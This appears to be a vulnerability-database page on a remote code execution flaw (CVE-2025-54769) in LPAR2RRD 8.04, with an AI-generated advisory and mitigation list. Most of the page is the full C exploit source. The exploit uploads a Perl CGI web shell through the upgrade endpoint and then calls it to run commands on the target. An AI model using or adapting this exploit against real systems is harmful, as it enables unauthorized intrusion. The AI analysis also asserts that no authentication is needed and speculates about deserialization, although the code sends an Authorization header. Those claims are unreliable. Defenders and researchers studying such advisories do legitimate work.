LPAR2RRD 8.04 - Remote Code Execution (RCE)
LPAR2RRD 8.04 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat concerns a Remote Code Execution (RCE) vulnerability in LPAR2RRD version 8.04. LPAR2RRD is a performance monitoring and capacity planning tool primarily used for virtualized environments, including IBM Power Systems, VMware, and other platforms. The RCE vulnerability allows an attacker to execute arbitrary code remotely on the affected system without requiring authentication or user interaction. This type of vulnerability typically arises from improper input validation or unsafe deserialization in web-facing components, enabling attackers to inject and execute malicious payloads. The exploit code is publicly available and written in the C programming language, indicating that attackers can leverage low-level system calls to gain control over the target environment. Given the critical severity, successful exploitation could lead to full system compromise, data theft, disruption of monitoring services, and potential lateral movement within enterprise networks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in LPAR2RRD 8.04 can be severe. Many enterprises and service providers in Europe rely on LPAR2RRD for monitoring critical infrastructure, including virtualized servers and cloud environments. Exploitation could lead to unauthorized access to sensitive operational data, disruption of monitoring capabilities, and potential deployment of ransomware or other malware. This could affect confidentiality, integrity, and availability of IT systems, leading to operational downtime and regulatory compliance issues under GDPR and other data protection laws. Additionally, compromised monitoring tools can serve as a foothold for attackers to escalate privileges and move laterally within networks, increasing the risk of widespread damage.
Mitigation Recommendations
To mitigate this threat, European organizations should: 1) Immediately identify and isolate any systems running LPAR2RRD version 8.04. 2) Apply vendor patches or updates as soon as they become available; if no patch exists, consider upgrading to a later, secure version or temporarily disabling the vulnerable service. 3) Restrict network access to LPAR2RRD interfaces using firewalls and network segmentation, limiting exposure to trusted management networks only. 4) Implement strict input validation and web application firewalls (WAFs) to detect and block malicious payloads targeting the RCE vector. 5) Monitor logs and network traffic for indicators of compromise related to LPAR2RRD exploitation attempts. 6) Conduct thorough vulnerability assessments and penetration testing focused on monitoring infrastructure. 7) Educate IT staff about the risks and signs of exploitation to enable rapid incident response.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: /* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include "argparse.h" #include <string.h> #include <time.h> #include <arpa/inet.h> #define FULL 2500 void sleepAssembly() { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; __asm__ volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); } void syscallLinux() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int fileS = 0; int useCookies = 0; int verboseMode = 0; const char *cookies; const char *ip = NULL; int portService = 0; int port = 0; int protocolS = 0; const char *protocol = NULL; int CreateFilePerl() { FILE *fileP = fopen("users.pl", "w"); if (fileP == NULL) { printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n"); syscallLinux(); return 0; } printf("[+] Create File Successfully\n"); char payloadContent[7000]; int payload = snprintf(payloadContent, sizeof(payloadContent), "#!/usr/bin/perl\n" "use strict;\n" "use warnings;\n" "use CGI;\n" "my $q = CGI->new;\n" "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n" "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n" "{\n" "\tprint \"Content-type: text/html\\n\\n\";\n" "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n" "\tprint $commandW;\n" "}\n" ); if (payload < 0 || (size_t)payload >= sizeof(payloadContent)) { fprintf(stderr, "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n"); syscallLinux(); } size_t e = strlen(payloadContent); unsigned long writeLen = fwrite(payloadContent, 1, strlen(payloadContent), fileP); if (writeLen != e) { printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n"); syscallLinux(); return 0; } printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n"); fclose(fileP); return 1; } const char *resultCommand[] = { "root", "admin", "user", "ssh", "/home/", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); syscallLinux(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void getRequest(CURL *curl, const char *targetIP) { struct Mem responseGet ; responseGet.buffer = NULL; responseGet.len = 0; CURLcode codeLib; char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux", proto, targetIP, prt); if (n < 0 || (size_t)n >= sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } printf("\e[1;37m[+] GET URL: %s\e[0m\n", full); struct curl_slist *headers = NULL; headers = curl_slist_append(headers , "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Sec-Fetch-Dest: document"); headers = curl_slist_append(headers, "Sec-Fetch-Mode: navigate"); headers = curl_slist_append(headers, "Priority: u=0, i"); headers = curl_slist_append(headers, "Pragma: no-cache"); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLib = curl_easy_perform(curl); curl_slist_free_all(headers); if (codeLib == CURLE_OK) { printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n"); long codeH = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &codeH); printf("\e[1;36m[+] Request GET sent successfully\e[0m\n"); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { if (verboseMode) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;35m===================================================================================================================\e[0m\n"); } } if (codeH >= 200 && codeH < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\e[0m\n", responseGet.len); printf("\e[1;35m===================================================================================================================\n"); for (int j = 0; resultCommand[j]; j++) { if (strstr(responseGet.buffer, resultCommand[j])) { printf("\e[1;34m[+] Word Found In Response.\e[0m\n"); printf("\e[1;34m[+] Word : %s\e[0m\n", resultCommand[j]); printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n"); } else { if (verboseMode) { printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", resultCommand[j]); } else { continue; } } } } else { printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n"); if (verboseMode) { printf("\e[1;31m[-] Exit Syscall\e[0m\n"); } } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH); if (verboseMode) { if (responseGet.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); } } } } else { fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib)); syscallLinux(); } free(responseGet.buffer); responseGet.buffer = NULL; responseGet.len = 0; curl_easy_cleanup(curl); } void remoteCode(const char *ipS) { CURL *curl = curl_easy_init(); struct Mem response; response.buffer = NULL; response.len = 0; CURLcode codeLibCurl; if (verboseMode) { printf("\e[1;35m================================== [Value Response] ==================================\n"); printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer); printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len); printf("\e[1;35m=======================================================================================\n"); } if (!curl) { fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n"); syscallLinux(); } char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/upgrade.sh", proto, ipS, prt); if (n < 0 || (size_t)n >= sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } if (!CreateFilePerl()) { fprintf(stderr, "\e[1;31m[-] Failed to create File users.pl\e[0m\n"); syscallLinux(); } printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full); curl_mime *form = curl_mime_init(curl); curl_mimepart *field = curl_mime_addpart(form); curl_mime_name(field, "upgfile"); curl_mime_filedata(field, "users.pl"); curl_mime_filename(field, "users.pl"); curl_mime_type(field, "application/x-perl"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_MIMEPOST, form); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; char host[128]; int lenIp = snprintf(host , sizeof(host), "Host: %s:%d", ipS, prt); if (lenIp < 0 || (size_t)lenIp >= sizeof(host)) { printf("\e[1;31m[-] IP Address is Long !\e[0m\n"); syscallLinux(); } headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "X-Requested-With: XMLHttpRequest"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Priority: u=0"); headers = curl_slist_append(headers, "Authorization: <base64-credentials>"); headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0"); headers = curl_slist_append(headers , host); void *m = memset(host , 0, sizeof(host)); if (m == NULL) { fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n"); syscallLinux(); } int lenO = snprintf(host , sizeof(host), "Origin: https://%s:%d", ipS, prt); if (lenO < 0 || (size_t)lenO >= sizeof(host)) { syscallLinux(); } headers = curl_slist_append(headers, host); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLibCurl = curl_easy_perform(curl); curl_mime_free(form); curl_slist_free_all(headers); if (codeLibCurl != CURLE_OK) { fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n", curl_easy_strerror(codeLibCurl)); syscallLinux(); } long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol); printf("\e[1;36m[+] Port : %d\e[0m\n", port); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);; if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); if (response.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m [+] Len Response : %zu\e[0m\n",response.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); if (strstr(response.buffer, "This file doesn't look like the upgrade package")) { printf("\e[1;34m[+] Sentence found in reply.\e[0m\n"); printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n"); printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n"); getRequest(curl, ipS); } } else { fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n"); if (verboseMode) { fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n"); } syscallLinux(); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verboseMode) { if (response.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[-] Len Response : %zu\n",response.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); } } } free(response.buffer); response.buffer = NULL; response.len = 0; curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌ ▌▙▌▄▌ \n" "\e[1;37m\t\tByte Reaper\n" ); curl_global_init(CURL_GLOBAL_DEFAULT); printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ip, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_INTEGER('p', "port", &port , "Enter Target Port Service"), OPT_STRING('t', "protocol", &protocol, "Enter Protocol Service (http / https)"), OPT_BOOLEAN('v', "verbose", &verboseMode, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); in_addr_t q = inet_addr(ip); if (q == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); syscallLinux(); } if (!ip) { fprintf(stderr,"\e[1;31m[-] Please Enter Target IP !\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n"); fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n"); syscallLinux(); } if (verboseMode) { verboseMode = 1; } if (cookies) { useCookies = 1; } if (port) { portService = 1; } if (protocol) { protocolS = 1; } remoteCode(ip); curl_global_cleanup(); return 0; }
LPAR2RRD 8.04 - Remote Code Execution (RCE)
Description
LPAR2RRD 8.04 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat concerns a Remote Code Execution (RCE) vulnerability in LPAR2RRD version 8.04. LPAR2RRD is a performance monitoring and capacity planning tool primarily used for virtualized environments, including IBM Power Systems, VMware, and other platforms. The RCE vulnerability allows an attacker to execute arbitrary code remotely on the affected system without requiring authentication or user interaction. This type of vulnerability typically arises from improper input validation or unsafe deserialization in web-facing components, enabling attackers to inject and execute malicious payloads. The exploit code is publicly available and written in the C programming language, indicating that attackers can leverage low-level system calls to gain control over the target environment. Given the critical severity, successful exploitation could lead to full system compromise, data theft, disruption of monitoring services, and potential lateral movement within enterprise networks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in LPAR2RRD 8.04 can be severe. Many enterprises and service providers in Europe rely on LPAR2RRD for monitoring critical infrastructure, including virtualized servers and cloud environments. Exploitation could lead to unauthorized access to sensitive operational data, disruption of monitoring capabilities, and potential deployment of ransomware or other malware. This could affect confidentiality, integrity, and availability of IT systems, leading to operational downtime and regulatory compliance issues under GDPR and other data protection laws. Additionally, compromised monitoring tools can serve as a foothold for attackers to escalate privileges and move laterally within networks, increasing the risk of widespread damage.
Mitigation Recommendations
To mitigate this threat, European organizations should: 1) Immediately identify and isolate any systems running LPAR2RRD version 8.04. 2) Apply vendor patches or updates as soon as they become available; if no patch exists, consider upgrading to a later, secure version or temporarily disabling the vulnerable service. 3) Restrict network access to LPAR2RRD interfaces using firewalls and network segmentation, limiting exposure to trusted management networks only. 4) Implement strict input validation and web application firewalls (WAFs) to detect and block malicious payloads targeting the RCE vector. 5) Monitor logs and network traffic for indicators of compromise related to LPAR2RRD exploitation attempts. 6) Conduct thorough vulnerability assessments and penetration testing focused on monitoring infrastructure. 7) Educate IT staff about the risks and signs of exploitation to enable rapid incident response.
Affected Countries
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Technical Details
- Edb Id
- 52391
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for LPAR2RRD 8.04 - Remote Code Execution (RCE)
/* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include "argparse.h" #include <string.h> #include <time.h> #inc... (18460 more characters)
Threat ID: 68900844ad5a09ad00dd9dfc
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 8/4/2025, 1:10:14 AM
Last updated: 8/6/2025, 1:20:52 AM
Views: 14
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